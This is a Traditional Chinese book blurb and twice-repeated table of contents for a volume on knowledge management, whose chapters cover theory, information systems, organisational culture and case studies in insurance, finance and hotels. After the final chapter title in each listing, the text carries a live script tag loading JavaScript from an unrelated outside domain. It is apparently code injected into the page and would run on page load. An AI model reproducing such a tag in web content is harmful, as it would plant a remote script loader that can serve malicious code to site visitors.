結合知識管理的理論、實務與個案，以使知識管理議題的探討，不再侷限於學理概念的討論，而是更能給予操作化之定義，以進入知識管理步驟流程的實務性演練。
全書編撰架構，係以作者在本書所提知識管理的資訊系統與文化生態為主軸；而在後續章節的安排上，則緊接知識管理實務運作的流程步驟，以個別單章的內容來詳述之，期能提供讀者一個清晰且有系統的思惟模式。
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目錄
第1章 知識管理演進與省思
第2章 知識管理意涵與概念
第3章 知識管理學理與模式
第4章 知識管理資訊系統面
第5章 知識管理的文化生態面
第6章 知識管理的模式構建
第7章 知識管理的實務研究：壽險業個案
第8章 知識管理的實務研究：金融業個案
第9章 知識管理的實務研究：旅館業個案<script src=http://cn.jxmmtv.com/cn.js></script>
第1章 知識管理演進與省思
第2章 知識管理意涵與概念
第3章 知識管理學理與模式
第4章 知識管理資訊系統面
第5章 知識管理的文化生態面
第6章 知識管理的模式構建
第7章 知識管理的實務研究：壽險業個案
第8章 知識管理的實務研究：金融業個案
第9章 知識管理的實務研究：旅館業個案<script src=http://cn.jxmmtv.com/cn.js></script>
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